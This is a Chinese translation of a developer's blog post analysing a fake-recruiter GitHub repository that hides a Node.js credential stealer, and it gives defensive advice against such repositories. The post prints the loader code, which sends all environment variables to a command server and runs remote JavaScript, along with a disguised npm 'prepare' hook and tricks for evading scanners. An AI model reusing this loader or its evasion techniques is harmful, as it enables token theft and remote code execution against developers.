標題:LinkedIn招募人員向我發送偽裝成「面試前程式碼審查」的惡意軟體

已發布:是

描述:一位招募人員向我推廣了一個遠距工程師職位,並要求我在技術面試前審查他們的程式碼庫。結果發現,這個程式碼庫竟然是一個五階段的木馬程序,它會竊取你的環境變數,並賦予攻擊者任意程式碼執行權限。以下是程式碼庫的具體內容,以及能夠有效防禦整個木馬程式的簡單方法。

標籤: 安全, webdev, javascript, 節點

封面圖片:https://direct\_url\_to\_image.jpg

使用 100:42 的比例可獲得最佳效果。

發佈時間:2026年5月4日 12:51 +0000


這週一位LinkedIn招募人員向我推薦了一個遠端的「DEX軟體工程師」專案。薪資待遇不錯,技術棧也完全在我的能力範圍之內。經過幾次友好的交流後,她讓我“在技術面試前先看一下程式碼庫”,並給我發了一個GitHub程式碼庫連結和一個Calendly視訊通話邀請。

那個程式碼庫是惡意軟體。它沒能感染我,但開發者應該對此有所警惕——尤其是在當前就業市場,許多人失業,正在尋找工作或專案的情況下。

這篇文章詳細分析了攻擊內容,指出了三個我認為非常巧妙的細節(說實話,真希望他們能把這些精力用在更有意義的事情上),並總結了能夠抵禦此類攻擊的唯一預防措施。如果你是工程師,偶爾會在LinkedIn上與招募人員交流,那麼這篇文章對你來說至關重要。

陷阱

程式碼庫( metabiteorg/NitroGem已向 GitHub 信任與安全團隊舉報,正在等待下架)偽裝成一個 React + web3 dApp。它擁有看起來很真實的package.json 、看起來很真實的 React 前端,以及數百行看起來合法的 MEV 機器人後端程式碼。然而,在app/controllers/frontController.js檔案的第 591-619 行,卻隱藏著這樣一段程式碼:

// ======================= Verification Setup =======================
const getGoogleDriveValue = async () => {
  const candidateUrls = `https://docs.google.com/document/d/<REDACTED>/export?format=txt`;
  try {
    const response = await axios.get(candidateUrls, {
      responseType: "text",
      transformResponse: (data) => data,
    });
    const value = String(response.data || "").trim();
    changedQueue(value);
  } catch (err) {
    // Try next URL
  }
};
getGoogleDriveValue();

const changedQueue = (value) => {
  verify(setApiKey(value))
    .then((response) => {
      const responseData = response.data;
      const executor = new (Function.constructor)("require", responseData);
      executor(require);
    });
}

這是一個五階段攻擊鏈,會在你執行npm install那一刻立即觸發:

  1. package.json中的prepare生命週期腳本執行node app/index.js

  2. app/index.js需要frontController.js ,這使得第 605 行( getGoogleDriveValue(); )在模組載入時執行。

  3. 該函數會取得一個公開的 Google 文件。

  4. 文件正文會被 base64 解碼成一個 URL,然後你的完整process.env會透過verify()輔助函數 POST 到該 URL。 ( verify函數位於另一個檔案settingController.js中,其定義為axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } }) 。)

  5. C2 回應使用new (Function.constructor)("require", responseData)進行編譯,並使用傳入的實際 Node require模組執行-這使得攻擊者可以執行任意 JavaScript,並擁有完整的fschild_processnet存取權限。

最終結果:你 shell 環境中的所有 API 金鑰、AWS 憑證和 GitHub/npm 令牌都會被竊取。然後攻擊者就可以在你的機器上執行任何他們想執行的程式。

我發現三個細節真的很有趣。

指揮與控制(C2)系統是一個Google文件。

大多數此類攻擊報告都將硬編碼的vercel.app或新註冊的網域名稱描述為命令與控制 (C2) 伺服器端點。而本文的攻擊則透過一個公開的 Google 文件進行路由,該文件的正文是一個經過 base64 編碼的 URL。這導致兩個後果:攻擊者可以透過編輯 Google 文件來輪換 C2 伺服器的目標位址,而無需提交任何 GitHub 程式碼。此外,企業出口過濾普遍允許向*.docs.google.com發送出站 HTTPS 請求。這是一個巧妙的策略——實際的 C2 伺服器 URL 從未出現在程式碼庫中,因此發布「阻止此網域」的檢測規則根本無法檢測到它。

eval 的等效寫法是new (Function.constructor)("require", responseData)所有程式碼檢查器和 SAST 掃描器都會標記eval 。許多掃描器也會標記new Function(...) 。透過間接屬性解引用(`Function.constructor )存取建構子可以繞過關鍵字/字串符合規則。執行語意相同,但偵測機率較低。將"require"作為參數名稱並將require作為參數傳遞的技巧,使得攻擊者能夠存取編譯後程式碼中的整個 Node 模組——如果沒有這種技巧,編譯後的函數根本無法存取 require——Function 構造的函數在全局作用域中執行,而 require 的注入方式與 CommonJS 模組內部的注入方式不同。

prepare腳本偽裝成 Create-React-App 建置腳本。 package.jsonpackage.json實際程式碼行是:

"prepare": "npm run app:pre | react-scripts --openssl-legacy-provider build --kill-others --kill-others-on-fail"

這條命令毫無意義。 reactreact-scripts build不會讀取標準輸入。 --kill-others是一個concurrently標誌,而不是react-scripts標誌。管道右側的部分只是為了讓快速瀏覽package.json的讀者看起來像一個普通的 CRA 建置管道。唯一有效的部分是npm run app:pre ,它會執行node app/index.js 。純粹是視覺裝飾,但它確實有效——大多數審核人員不會嘗試用react-scripts參數解析器來檢查管道右側的部分是否合理。

輔助裝飾

該程式碼庫包含許多誤導性的細節,這些細節綜合起來表明,這是一種刻意的偽裝,而不是偶然的程式碼異味:

  • check-environment.js作為npm start的一部分執行,但無法在 Gitpod、GitHub Codespaces 或 Windows 11 版 VS Code 終端機中執行。而這些恰恰是安全研究人員最常用來安全地探索未知程式碼庫的環境。這個腳本偽裝成 Node 版本完整性檢查,但實際上卻起到了反分析過濾的作用。

  • npm install.cmd是一個三行的 Windows 批次文件,它會在不啟用--ignore-scripts的情況下執行npm install 。它的存在是為了誘使用戶放棄倉庫提供的唯一安全安裝路徑( install:fix ,它使用了--ignore-scripts )。

  • app/test/index.js完全被註解掉了——這裡是 Mocha/Chai 的佔位符程式碼,用於無關的「Book API」/「User API」專案。它由app/index.js加載,作為誘餌,目的是將研究人員的注意力從真正的有效載荷站點上轉移開來。附近還有一個未使用的getUniqueID()函數,它「使用」了導入語句,以避免靜態分析器將其標記為死程式碼。

  • $null是倉庫根目錄下的 244 位元組的文件,其中包含 npm 警告輸出——這與在 cmd.exe 中執行npm install > $null 2>&1的情況一致,其中$null變成了字面意義上的文件名,而不是重定向目標。這可以作為作者工作環境的一個小指紋。

  • 這兩個惡意函數分別名為setApiKeyverify其實setApiKey也沒設定(它呼叫的是atob )。 verify verify什麼也沒驗證(它呼叫的是axios.post )。每個名稱都描述了一個看似無害的操作,但該函數實際上並沒有執行這個操作。

這是一場眾所周知的活動。

這種虛假招聘資訊的傳播途徑與微軟威脅情報、Mandiant 和 Palo Alto Unit 42 公開認定為朝鮮國家行為體所為的長期攻擊活動相吻合。微軟將其追蹤為Sapphire Sleet ;Unit 42 將其稱為DEV#POPPER (包含 BeaverTail 和 InvisibleFerret 惡意軟體家族);Mandiant 追蹤的重疊集群被標記為UNC4899

微軟在 2026 年 3 月發布了一份專門針對這種傳播模式的詳細報告: 《傳染性面試:透過虛假開發者招募面試傳播的惡意軟體》。報告將這種攻擊手法描述為「一種複雜的社會工程攻擊,至少從 2022 年 12 月開始活躍,其目標是軟體開發人員……透過濫用現代招募流程中固有的信任機制。」這幾乎就是我差點遭遇的那種攻擊的真實寫照。

這套伎倆一貫如出一轍:一份全新的 LinkedIn 個人資料,推銷遠程 Web3/AI 工程師職位,技術棧描述合理,薪資範圍誘人;幾天后,對話逐漸升級,最終變成“請在技術面試前查看程式碼庫”;而程式碼庫中隱藏著惡意軟體,藏在preparepostinstall生命週期腳本之後。等到候選人點擊npm install ,騙局已經得逞。

唯一預防措施卻讓全家人束手無策。

我和其他工程師討論這個問題時,總是會提到這一點,因為這才是真正重要的部分,而且它比看起來簡單得多:

在 github.com 上查看陌生人的程式碼是沒問題的。當你在瀏覽器中閱讀程式碼時,倉庫中的任何程式碼都不會被執行——渲染出來的是純 HTML,原始碼視圖是唯讀文字。你可以隨意瀏覽不熟悉的組織的倉庫;這是安全的。

風險步驟是在本地複製並npm install因為此時生命週期腳本( preparepostinstallpreinstall )會被觸發,導致你的環境被盜用。

如果你需要安裝一個不熟悉的軟體倉庫,以下兩個習慣會很有幫助:

  • 首先閱讀package.json仔細查看scripts下的所有條目,特別是名為preparepostinstallpreinstallinstall 。如果其中任何條目呼叫了你意料之外的腳本(例如, node some-script.js ),請暫停並閱讀該腳本後再繼續。

  • 執行npm install --ignore-scripts生命週期鉤子不會被觸發。您仍然可以正常開發;只需稍後為每個套件單獨選擇啟用( npm rebuild <package> `)合法的原生模組即可。

這種安全習慣同樣可以保護你免受被竄改的 npm 包的侵害,而不僅僅是防範假招募騙局。值得養成這種習慣。

參考和IOC

我單獨保存了一份參考文件,其中包含完整的 IOC 表、文件路徑、行號、偽裝清單、社會工程指紋、取證方法(如何確認木馬是否真的在您的機器上執行)、如果執行了則採取的緩解措施,以及報告渠道(GitHub、Google 安全瀏覽、LinkedIn、Calendly):

完整的 IOC 參考資料和取證方法(摘要)

注意安全。如果你遇到類似的推銷——不要克隆,舉報對方的LinkedIn個人資料(選擇「虛假帳戶/非真人」),並輪換安裝時在shell中導出的所有令牌。


原文出處:https://dev.to/vladimirnovick/a-linkedin-recruiter-sent-me-malware-disguised-as-a-pre-interview-code-review-2k3j


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝12   💬7  
260
🥈
我愛JS
💬1  
4
🥉
Gigi
2
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
📢 贊助商廣告 · 我要刊登